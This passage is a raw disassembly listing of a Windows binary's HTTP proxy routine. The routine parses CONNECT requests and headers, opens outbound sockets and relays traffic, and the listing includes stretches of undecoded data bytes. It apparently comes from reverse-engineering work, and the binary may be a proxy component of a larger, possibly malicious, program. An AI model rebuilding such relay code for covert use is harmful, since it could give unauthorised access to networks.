sub_4012EE test eax, eax jnz short loc_4296A0 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A570 ; --------------------------------------------------------------------------- loc_4296A0: ; CODE XREF: ___:00429664j push offset asc_444600 ; " " lea eax, [esp+234h] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset off_44721C mov ecx, eax mov byte ptr [esp+54A4h], 3 call sub_40150A test eax, eax lea ecx, [esp+230h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz short loc_429765 push offset asc_444600 ; " " lea ecx, [esp+21Ch] push 1 push ecx lea ecx, [esp+3Ch] mov byte ptr [esp+1Fh], 1 call sub_4016B8 lea edx, [esp+0B8h] mov ecx, eax push edx mov byte ptr [esp+54A4h], 4 call sub_4017EE push eax call sub_401947 add esp, 8 lea ecx, [esp+218h] test al, al setz bl mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset aHttp ; "http" lea ecx, [esp+0BCh] call sub_4012EE test eax, eax jnz loc_42A5EF jmp loc_42995A ; --------------------------------------------------------------------------- loc_429765: ; CODE XREF: ___:004296E7j push offset asc_444600 ; " " lea eax, [esp+24Ch] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+54A4h], 5 call sub_40150A test eax, eax lea ecx, [esp+248h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz loc_42995A push offset aConnect ; "connect" lea ecx, [esp+0BCh] mov byte ptr [esp+17h], 0 call sub_4015E1 push offset byte_448F40 lea ecx, [esp+114h] call sub_4015E1 push offset asc_444600 ; " " lea ecx, [esp+12Ch] push 1 push ecx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+174h] push 0 push edx mov ecx, eax mov byte ptr [esp+54ACh], 6 call sub_4016B8 push eax lea ecx, [esp+0D1h] mov byte ptr [esp+54A4h], 7 call sub_401FDC lea ecx, [esp+170h] mov byte ptr [esp+54A0h], 6 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+54A0h], 2 call sub_401226 push offset asc_444600 ; " " lea eax, [esp+27Ch] push 1 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C74 ; ":" lea ecx, [esp+1A4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 8 call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 9 call sub_4017EE test eax, eax lea ecx, [esp+1A0h] mov byte ptr [esp+54A0h], 8 setz bl call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset asc_444600 ; " " lea edx, [esp+264h] push 1 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C74 ; ":" lea ecx, [esp+1D4h] push 1 push ecx mov ecx, eax mov byte ptr [esp+54ACh], 0Ah call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 0Bh call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+1D0h] mov [esp+10Ch], eax mov byte ptr [esp+54A0h], 0Ah call sub_401226 lea ecx, [esp+260h] mov byte ptr [esp+54A0h], 2 call sub_401226 mov eax, [esp+10Ch] test eax, eax jnz short loc_42995A mov dword ptr [esp+10Ch], 50h loc_42995A: ; CODE XREF: ___:00429760j ; ___:004297ACj ... push offset asc_444600 ; " " lea edx, [esp+4Ch] push 0 push edx lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F40 lea ecx, [esp+4Ch] mov byte ptr [esp+54A4h], 0Ch call sub_4012EE test eax, eax jz loc_42A5DE push offset asc_444600 ; " " lea eax, [esp+64h] push 2 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset byte_448F40 lea ecx, [esp+64h] mov byte ptr [esp+54A4h], 0Dh call sub_4012EE test eax, eax jz loc_42A5CD lea ecx, [esp+0CDh] push ecx lea ecx, [esp+8Ch] call sub_4014D3 mov ecx, 1000h xor eax, eax lea edi, [esp+498h] or ebx, 0FFFFFFFFh rep stosd mov edi, offset aHttprox ; "HTTPROX" mov ecx, ebx repne scasb not ecx sub edi, ecx lea edx, [esp+4498h] mov eax, ecx mov esi, edi mov edi, edx mov byte ptr [esp+54A0h], 0Eh shr ecx, 2 rep movsd mov ecx, eax lea eax, [esp+4498h] and ecx, 3 rep movsb mov esi, offset asc_4471F4 ; "\r\n" loc_429A21: ; CODE XREF: ___:00429A3Fj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A45 test cl, cl jz short loc_429A41 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A45 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A21 loc_429A41: ; CODE XREF: ___:00429A2Bj xor eax, eax jmp short loc_429A49 ; --------------------------------------------------------------------------- loc_429A45: ; CODE XREF: ___:00429A27j ; ___:00429A35j sbb eax, eax sbb eax, ebx loc_429A49: ; CODE XREF: ___:00429A43j test eax, eax jz loc_429B23 mov edi, dword_511AD8 loc_429A57: ; CODE XREF: ___:00429B1Dj mov esi, offset byte_448F40 lea eax, [esp+4498h] loc_429A63: ; CODE XREF: ___:00429A81j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429A87 test cl, cl jz short loc_429A83 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429A87 add eax, 2 add esi, 2 test cl, cl jnz short loc_429A63 loc_429A83: ; CODE XREF: ___:00429A6Dj xor eax, eax jmp short loc_429A8B ; --------------------------------------------------------------------------- loc_429A87: ; CODE XREF: ___:00429A69j ; ___:00429A77j sbb eax, eax sbb eax, ebx loc_429A8B: ; CODE XREF: ___:00429A85j test eax, eax jz loc_429B23 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+449Ch] push 1000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A629 lea edx, [esp+4498h] push 4000h lea eax, [esp+49Ch] push edx push eax call edi ; strncat push 4000h lea ecx, [esp+4A8h] push offset asc_4471F4 ; "\r\n" push ecx call edi ; strncat add esp, 18h mov esi, offset asc_4471F4 ; "\r\n" lea eax, [esp+4498h] loc_429AF3: ; CODE XREF: ___:00429B11j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429B17 test cl, cl jz short loc_429B13 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429B17 add eax, 2 add esi, 2 test cl, cl jnz short loc_429AF3 loc_429B13: ; CODE XREF: ___:00429AFDj xor eax, eax jmp short loc_429B1B ; --------------------------------------------------------------------------- loc_429B17: ; CODE XREF: ___:00429AF9j ; ___:00429B07j sbb eax, eax sbb eax, ebx loc_429B1B: ; CODE XREF: ___:00429B15j test eax, eax jnz loc_429A57 loc_429B23: ; CODE XREF: ___:00429A4Bj ; ___:00429A8Dj mov esi, dword_511B04 lea eax, [esp+498h] push offset aProxyConnectio ; "Proxy-Connection:" push eax call esi ; strstr add esp, 8 test eax, eax jz short loc_429B77 push offset asc_444C74 ; ":" push eax call esi ; strstr add esp, 8 inc eax jz short loc_429B77 cmp byte ptr [eax], 20h jnz short loc_429B5B loc_429B52: ; CODE XREF: ___:00429B59j mov cl, [eax+1] inc eax cmp cl, 20h jz short loc_429B52 loc_429B5B: ; CODE XREF: ___:00429B50j push offset aKeepAlive ; "Keep-Alive" push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz short loc_429B77 mov byte ptr [ebp+0BAh], 1 jmp short loc_429B7E ; --------------------------------------------------------------------------- loc_429B77: ; CODE XREF: ___:00429B3Dj ; ___:00429B4Bj ... mov byte ptr [ebp+0BAh], 0 loc_429B7E: ; CODE XREF: ___:00429B75j cmp [ebp+0BFh], ebx jnz loc_429C16 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, ebx mov [ebp+0BFh], eax jz loc_42A6FD mov edx, [esp+10Ch] xor ecx, ecx mov [esp+78h], ecx push edx mov [esp+80h], ecx mov word ptr [esp+7Ch], 2 mov [esp+84h], ecx mov [esp+88h], ecx call near ptr 71AB2B66h nop lea ecx, [esp+0CDh] mov [esp+7Ah], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, ebx mov [esp+7Ch], eax jz loc_42A63B mov ecx, [ebp+0BFh] lea eax, [esp+78h] push 10h push eax push ecx nop call near ptr 71AB406Ah cmp eax, ebx jz loc_42A698 loc_429C16: ; CODE XREF: ___:00429B84j mov al, [esp+13h] test al, al jz loc_42A2BE mov al, [ebp+0BAh] test al, al jz short loc_429C61 lea edx, [esp+498h] lea ecx, [esp+60h] push edx call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea eax, [esp+24h] push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s" push eax jmp short loc_429C94 ; --------------------------------------------------------------------------- loc_429C61: ; CODE XREF: ___:00429C2Aj lea ecx, [esp+498h] push ecx lea ecx, [esp+64h] call sub_4017EE push eax lea ecx, [esp+118h] call sub_4017EE push eax lea ecx, [esp+54h] call sub_4017EE push eax lea edx, [esp+24h] push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s" push edx loc_429C94: ; CODE XREF: ___:00429C5Fj call sub_40102D add esp, 18h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE push eax mov eax, [ebp+0BFh] push eax nop call near ptr 71AB428Ah test eax, eax jz loc_42A6E2 cmp eax, ebx jz loc_42A6E2 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx call sub_401280 add esp, 10h test al, al jz loc_42A70F mov edi, offset asc_4471F4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah xor ebx, ebx mov esi, offset asc_4471F4 ; "\r\n" mov [esp+2Ch], ebx lea eax, [esp+498h] loc_429D5E: ; CODE XREF: ___:00429D7Cj mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_429D82 test cl, cl jz short loc_429D7E mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_429D82 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D5E loc_429D7E: ; CODE XREF: ___:00429D68j xor eax, eax jmp short loc_429D87 ; --------------------------------------------------------------------------- loc_429D82: ; CODE XREF: ___:00429D64j ; ___:00429D72j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429D87: ; CODE XREF: ___:00429D80j test eax, eax jz loc_42A109 loc_429D8F: ; CODE XREF: ___:0042A0F8j mov esi, offset byte_448F40 lea eax, [esp+498h] loc_429D9B: ; CODE XREF: ___:00429DBDj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_429DC3 test cl, cl jz short loc_429DBF mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_429DC3 add eax, 2 add esi, 2 test cl, cl jnz short loc_429D9B loc_429DBF: ; CODE XREF: ___:00429DA7j xor eax, eax jmp short loc_429DC8 ; --------------------------------------------------------------------------- loc_429DC3: ; CODE XREF: ___:00429DA3j ; ___:00429DB3j sbb eax, eax sbb eax, 0FFFFFFFFh loc_429DC8: ; CODE XREF: ___:00429DC1j test eax, eax jz loc_42A105 mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call sub_401280 add esp, 10h test al, al jz loc_42A100 lea edx, [esp+498h] lea ecx, [esp+0A0h] push edx call sub_401870 push offset asc_444600 ; " " lea eax, [esp+204h] push 0 push eax lea ecx, [esp+0ACh] mov byte ptr [esp+54ACh], 0Fh call sub_4016B8 push offset aContentLength ; "Content-Length:" mov ecx, eax mov byte ptr [esp+54A4h], 10h call sub_40150A test eax, eax lea ecx, [esp+200h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429EAA push offset asc_444600 ; " " lea ecx, [esp+144h] push 1 push ecx lea ecx, [esp+0ACh] call sub_4016B8 mov ecx, eax mov byte ptr [esp+54A0h], 11h call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+140h] mov [esp+2Ch], eax mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429EAA: ; CODE XREF: ___:00429E5Cj push offset asc_444600 ; " " lea edx, [esp+15Ch] push 0 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aTransferEncodi ; "Transfer-Encoding:" mov ecx, eax mov byte ptr [esp+54A4h], 12h call sub_40150A test eax, eax lea ecx, [esp+158h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429F39 push offset asc_444600 ; " " lea eax, [esp+18Ch] push 1 push eax lea ecx, [esp+0ACh] call sub_4016B8 push offset aChunked ; "chunked" mov ecx, eax mov byte ptr [esp+54A4h], 13h call sub_40150A lea ecx, [esp+188h] mov byte ptr [esp+54A0h], 0Fh call sub_401226 loc_429F39: ; CODE XREF: ___:00429EF4j push offset asc_444600 ; " " lea ecx, [esp+1BCh] push 0 push ecx lea ecx, [esp+0ACh] call sub_4016B8 push offset aConnection ; "Connection:" mov ecx, eax mov byte ptr [esp+54A4h], 14h call sub_40150A test eax, eax lea ecx, [esp+1B8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl jz short loc_429FD4 push offset asc_444600 ; " " lea edx, [esp+1ECh] push 1 push edx lea ecx, [esp+0ACh] call sub_4016B8 push offset aKeepAlive ; "Keep-Alive" mov ecx, eax mov byte ptr [esp+54A4h], 15h call sub_40150A test eax, eax lea ecx, [esp+1E8h] mov byte ptr [esp+54A0h], 0Fh setz bl call sub_401226 test bl, bl setnz byte ptr [esp+11h] loc_429FD4: ; CODE XREF: ___:00429F83j mov esi, offset asc_4471F4 ; "\r\n" lea eax, [esp+498h] loc_429FE0: ; CODE XREF: ___:0042A002j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A008 test cl, cl jz short loc_42A004 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A008 add eax, 2 add esi, 2 test cl, cl jnz short loc_429FE0 loc_42A004: ; CODE XREF: ___:00429FECj xor eax, eax jmp short loc_42A00D ; --------------------------------------------------------------------------- loc_42A008: ; CODE XREF: ___:00429FE8j ; ___:00429FF8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A00D: ; CODE XREF: ___:0042A006j test eax, eax jz loc_42A0A9 mov esi, offset byte_448F40 lea eax, [esp+498h] loc_42A021: ; CODE XREF: ___:0042A043j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A049 test cl, cl jz short loc_42A045 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A049 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A021 loc_42A045: ; CODE XREF: ___:0042A02Dj xor eax, eax jmp short loc_42A04E ; --------------------------------------------------------------------------- loc_42A049: ; CODE XREF: ___:0042A029j ; ___:0042A039j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A04E: ; CODE XREF: ___:0042A047j test eax, eax jz short loc_42A0A9 mov edi, offset asc_4471F4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea eax, [esp+49Ch] push ecx mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_42A0A9: ; CODE XREF: ___:0042A00Fj ; ___:0042A050j lea ecx, [esp+0A0h] mov byte ptr [esp+54A0h], 0Eh call sub_401226 mov esi, offset asc_4471F4 ; "\r\n" lea eax, [esp+498h] loc_42A0C9: ; CODE XREF: ___:0042A0EBj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_42A0F1 test cl, cl jz short loc_42A0ED mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_42A0F1 add eax, 2 add esi, 2 test cl, cl jnz short loc_42A0C9 loc_42A0ED: ; CODE XREF: ___:0042A0D5j xor eax, eax jmp short loc_42A0F6 ; --------------------------------------------------------------------------- loc_42A0F1: ; CODE XREF: ___:0042A0D1j ; ___:0042A0E1j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42A0F6: ; CODE XREF: ___:0042A0EFj test eax, eax jnz loc_429D8F jmp short loc_42A105 ; --------------------------------------------------------------------------- loc_42A100: ; CODE XREF: ___:00429DF0j mov byte ptr [esp+12h], 1 loc_42A105: ; CODE XREF: ___:00429DCAj ; ___:0042A0FEj mov ebx, [esp+2Ch] loc_42A109: ; CODE XREF: ___:00429D89j mov al, [esp+11h] push 0 test al, al jz short loc_42A131 mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [ebp+0BBh] not ecx dec ecx push ecx push offset aConnectionKeep ; "Connection: Keep-Alive\r\n" push eax jmp short loc_42A14D ; --------------------------------------------------------------------------- loc_42A131: ; CODE XREF: ___:0042A111j mov edi, offset aConnectionClos ; "Connection: Close\r\n" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, [ebp+0BBh] push offset aConnectionClos ; "Connection: Close\r\n" push ecx loc_42A14D: ; CODE XREF: ___:0042A12Fj nop call near ptr 71AB428Ah mov edi, offset asc_4471F4 ; "\r\n" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+498h] repne scasb not ecx sub edi, ecx push 0 mov eax, ecx mov esi, edi mov edi, edx mov edx, [ebp+0BBh] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb lea edi, [esp+49Ch] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx lea ecx, [esp+4A0h] push ecx push edx nop call near ptr 71AB428Ah test ebx, ebx jz loc_42A27C xor edi, edi test ebx, ebx jle short loc_42A204 loc_42A1B3: ; CODE XREF: ___:0042A202j mov eax, ebx sub eax, edi cmp eax, 4000h jbe short loc_42A204 mov edx, [ebp+0BFh] push 0 lea ecx, [esp+49Ch] push 4000h push ecx push edx nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A204 cmp esi, 0FFFFFFFFh jz short loc_42A204 mov ecx, [ebp+0BBh] push 0 lea eax, [esp+49Ch] push esi push eax push ecx nop call near ptr 71AB428Ah add edi, esi cmp edi, ebx jl short loc_42A1B3 loc_42A204: ; CODE XREF: ___:0042A1B1j ; ___:0042A1BCj ... mov eax, ebx sub eax, edi jz short loc_42A24E loc_42A20A: ; CODE XREF: ___:0042A24Cj push 0 push eax mov eax, [ebp+0BFh] lea edx, [esp+4A0h] push edx push eax nop call near ptr 71AB615Ah mov esi, eax cmp esi, 1 jl short loc_42A24E cmp esi, 0FFFFFFFFh jz short loc_42A24E mov edx, [ebp+0BBh] push 0 lea ecx, [esp+49Ch] push esi push ecx push edx nop call near ptr 71AB428Ah add edi, esi mov eax, ebx sub eax, edi jnz short loc_42A20A loc_42A24E: ; CODE XREF: ___:0042A208j ; ___:0042A227j ... mov al, [ebp+0BAh] test al, al jnz loc_42A4DF mov ecx, [ebp+0BBh] push ecx nop call near ptr 71AB9639h or esi, 0FFFFFFFFh mov byte ptr [esp+12h], 1 mov [ebp+0BBh], esi jmp loc_42A4E2 ; --------------------------------------------------------------------------- loc_42A27C: ; CODE XREF: ___:0042A1A7j mov esi, dword_511CA4 loc_42A282: ; CODE XREF: ___:0042A2BCj mov ecx, [ebp+0BFh] push 0 lea eax, [esp+49Ch] push 4000h push eax push ecx call esi ; recv cmp eax, 1 jl short loc_42A24E cmp eax, 0FFFFFFFFh jz short loc_42A24E push 0 push eax mov eax, [ebp+0BBh] lea edx, [esp+4A0h] push edx push eax nop call near ptr 71AB428Ah jmp short loc_42A282 ; --------------------------------------------------------------------------- loc_42A2BE: ; CODE XREF: ___:00429C1Cj lea ecx, [esp+14h] push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"... push ecx call sub_40102D add esp, 8 lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop test eax, eax jz loc_42A782 cmp eax, ebx jz loc_42A782 mov ebx, dword_511CA4 mov eax, [ebp+0BBh] mov edx, [ebp+0BFh] mov [esp+294h], eax mov dword ptr [esp+290h], 1 xor eax, eax lea ecx, [esp+294h] loc_42A330: ; CODE XREF: ___:0042A33Bj cmp [ecx], edx jz short loc_42A33D inc eax add ecx, 4 cmp eax, 1 jb short loc_42A330 loc_42A33D: ; CODE XREF: ___:0042A332j cmp eax, 1 jnz short loc_42A354 mov [esp+298h], edx mov dword ptr [esp+290h], 2 loc_42A354: ; CODE XREF: ___:0042A340j mov ecx, 1000h xor eax, eax lea edi, [esp+498h] push eax rep stosd push eax lea ecx, [esp+298h] push eax push ecx push eax nop call near ptr 71AB2DC0h mov eax, [ebp+0BBh] lea edx, [esp+290h] push edx push eax call sub_438256 ; --------------------------------------------------------------------------- dw 0C085h dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h dd 0DE72h, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F02AE890h, 333D7168h dd 75000027h, 90016A0Dh, 405E49E8h, 0FE43E902h, 858BFFFFh dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42A4DF: ; CODE XREF: ___:0042A256j or esi, 0FFFFFFFFh loc_42A4E2: ; CODE XREF: ___:0042A277j mov al, [esp+11h] test al, al jnz short loc_42A502 mov edx, [ebp+0BFh] push edx call near ptr 71AB9639h nop mov [ebp+0BFh], esi mov byte ptr [esp+12h], 1 loc_42A502: ; CODE XREF: ___:0042A4E8j lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA or esi, 0FFFFFFFFh loc_42A570: ; CODE XREF: ___:0042969Bj mov al, [esp+12h] test al, al jz loc_4295E8 loc_42A57C: ; CODE XREF: ___:0042A624j ; ___:0042A77Dj mov al, [ebp+0BAh] test al, al jz short loc_42A599 mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h mov [ebp+0BBh], esi loc_42A599: ; CODE XREF: ___:0042A584j mov al, [esp+11h] test al, al jz short loc_42A5B4 mov ecx, [ebp+0BFh] push ecx call near ptr 71AB9639h nop mov [ebp+0BFh], esi loc_42A5B4: ; CODE XREF: ___:0042A59Fj ; ___:0042A805j mov ecx, [esp+5498h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 5494h retn ; --------------------------------------------------------------------------- loc_42A5CD: ; CODE XREF: ___:004299BAj lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 loc_42A5DE: ; CODE XREF: ___:00429987j lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 loc_42A5EF: ; CODE XREF: ___:00429741j ; ___:0042975Aj ... lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 loc_42A600: ; CODE XREF: ___:00429635j lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A629: ; CODE XREF: ___:00429AB3j mov eax, [ebp+0BBh] push eax nop call near ptr 71AB9639h jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A63B: ; CODE XREF: ___:00429BF4j lea ecx, [esp+0CDh] call sub_4017EE push eax lea ecx, [esp+18h] push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov edx, [ebp+0BBh] push eax push edx call near ptr 71AB428Ah nop mov eax, [ebp+0BBh] mov esi, dword_511C9C push eax call esi ; closesocket mov ecx, [ebp+0BFh] push ecx jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A698: ; CODE XREF: ___:00429C10j mov edx, [esp+10Ch] lea ecx, [esp+0CDh] push edx call sub_4017EE push eax lea eax, [esp+1Ch] push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"... push eax call sub_40102D add esp, 10h lea ecx, [esp+14h] push 0 call sub_4013E3 push eax lea ecx, [esp+1Ch] call sub_4017EE mov ecx, [ebp+0BBh] push eax push ecx nop call near ptr 71AB428Ah loc_42A6E2: ; CODE XREF: ___:00429CC1j ; ___:00429CC9j mov edx, [ebp+0BBh] mov esi, dword_511C9C push edx call esi ; closesocket mov eax, [ebp+0BFh] push eax jmp loc_42A798 ; --------------------------------------------------------------------------- loc_42A6FD: ; CODE XREF: ___:00429B9Ej mov ecx, [ebp+0BBh] push ecx call near ptr 71AB9639h nop jmp loc_42A79A ; --------------------------------------------------------------------------- loc_42A70F: ; CODE XREF: ___:00429CEFj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA or esi, 0FFFFFFFFh jmp loc_42A57C ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: ___:0042A2F5j ; ___:0042A2FDj mov ecx, [ebp+0BBh] mov esi, dword_511C9C push ecx call esi ; closesocket mov edx, [ebp+0BFh] push edx loc_42A798: ; CODE XREF: ___:0042A693j ; ___:0042A6F8j call esi ; closesocket loc_42A79A: ; CODE XREF: ___:0042A636j ; ___:0042A70Aj lea ecx, [esp+88h] mov byte ptr [esp+54A0h], 0Dh call sub_401226 lea ecx, [esp+60h] mov byte ptr [esp+54A0h], 0Ch call sub_401226 lea ecx, [esp+48h] mov byte ptr [esp+54A0h], 2 call sub_401226 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], ebx call sub_4014BA jmp loc_42A5B4 ; --------------------------------------------------------------------------- db 6 dup(90h) db 4A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ACB0 proc near ; CODE XREF: sub_4018EDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42ACB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset aHttp_0 ; "HTTP" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F15C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42ACB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AD20: ; CODE XREF: ___:loc_40112Cj ; ___:0040128Fj push esi mov esi, ecx call 